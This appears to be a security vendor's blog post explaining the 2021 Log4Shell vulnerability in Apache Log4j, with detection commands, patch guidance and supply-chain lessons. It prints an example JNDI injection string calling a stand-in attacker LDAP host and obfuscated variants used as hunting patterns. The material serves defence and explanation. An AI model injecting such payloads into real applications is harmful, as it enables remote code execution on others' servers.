On 9 December 2021, a vulnerability in Apache Log4j 2 was published with proof-of-concept code. Within hours, attackers were scanning the entire IPv4 internet for it. Within days, the director of CISA was calling it one of the most serious vulnerabilities she had seen in her career.
It was not the severity score alone (a 10.0 on CVSS) that made Log4Shell different. It was how many places Log4j turned up, and how few organisations could say where.
How the vulnerability works
Log4j supports lookups: special syntax in a log message that gets replaced at runtime. One of those lookups is JNDI (Java Naming and Directory Interface), which can fetch objects from remote servers over LDAP, RMI or DNS.
The problem is that applications log user-controlled data all the time: usernames, HTTP headers, search terms, chat messages. If an attacker can get a string like this into any log message:
${jndi:ldap://attacker.example/a}a vulnerable Log4j (versions 2.0-beta9 up to 2.14.1) will contact the attacker's LDAP server, which can point it to a Java class to load. The result is remote code execution inside the application's process, triggered by something as innocent as a User-Agent header.
sequenceDiagram
participant A as Attacker
participant App as Java app (Log4j 2.14)
participant L as Attacker LDAP server
A->>App: GET / with User-Agent: ${jndi:ldap://attacker/a}
App->>App: log.info("UA: " + userAgent)
App->>L: JNDI lookup
L-->>App: reference to remote Java class
App->>A: loads and runs attacker codeEarly exploitation was seen in Minecraft servers through chat messages, which illustrates the point: any input that reaches a log line can be the trigger.
Why the response was so hard
For most teams, patching Log4j itself was straightforward. Finding it was not.
- Transitive dependencies. Few applications import Log4j directly. It arrives as a dependency of a dependency: a web framework, a search engine, a message queue client. Many teams discovered it three or four levels deep in their dependency tree.
- Shaded and bundled copies. Some products repackage ("shade") Log4j classes inside their own JAR files, where naive filename scans miss them.
- Vendor products. Thousands of commercial and open-source products (VMware, Elasticsearch, network appliances, CI servers) shipped with Log4j. Customers had to wait for vendor advisories they could not verify.
- Moving fixes. Version 2.15.0 was incomplete (CVE-2021-45046), 2.16.0 followed on 13 December, and 2.17.0 on 17 December addressed a denial-of-service issue (CVE-2021-45105). Teams that patched on day one had to patch again twice.
What to do now
If you are still working through the response, prioritise in this order:
- Internet-facing systems first. Anything that logs data from external users is the highest risk.
- Upgrade to Log4j 2.17.0 or later (2.12.3 for Java 7). Mitigations such as
formatMsgNoLookupswere shown to be insufficient on their own. - Search deeply, not just by filename. Scan file systems and container images for the vulnerable
JndiLookup.class, including inside nested archives:
# Find JAR, WAR and EAR files that contain the JndiLookup class, including nested archives
find / -type f \( -name "*.jar" -o -name "*.war" -o -name "*.ear" \) 2>/dev/null |
while read -r f; do
unzip -l "$f" 2>/dev/null | grep -q "JndiLookup.class" && echo "$f"
done
# For Maven projects, show where log4j-core comes from
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core- Hunt for exploitation. Search web server, WAF and application logs for
${jndi:and its many obfuscated variants (${${lower:j}ndi:), and look for unexpected outbound LDAP, RMI and DNS connections from servers. - Restrict egress. Servers that have no business making outbound connections should not be able to. This one control would have blunted most Log4Shell exploitation.
The supply-chain lesson
Log4j is maintained by a handful of volunteers and used by a very large share of Java software on the planet. That is not a criticism of the maintainers, who shipped three releases in eight days over a weekend. It is a description of how modern software is built: we assemble applications from thousands of components we did not write and rarely track.
Three things follow:
- You need an inventory of your software components, at the level of libraries and versions, for everything you build and buy. The industry's name for this is a software bill of materials (SBOM), and the US Executive Order on cybersecurity issued in May 2021 is already pushing vendors to provide one.
- Dependency updates are a security process, not a chore. Automated tools that flag and upgrade vulnerable libraries turn a weeks-long hunt into a pull request.
- Defence in depth still matters. Egress filtering, least-privilege service accounts and runtime detection all limited damage where patching lagged.
Log4Shell will be found in forgotten systems for years. The organisations that come out of it well will be the ones that treat it as the moment they finally built a real inventory of what they run.
Need help confirming your exposure? Our vulnerability management and managed detection and response teams have been running Log4Shell sweeps since the day it was published.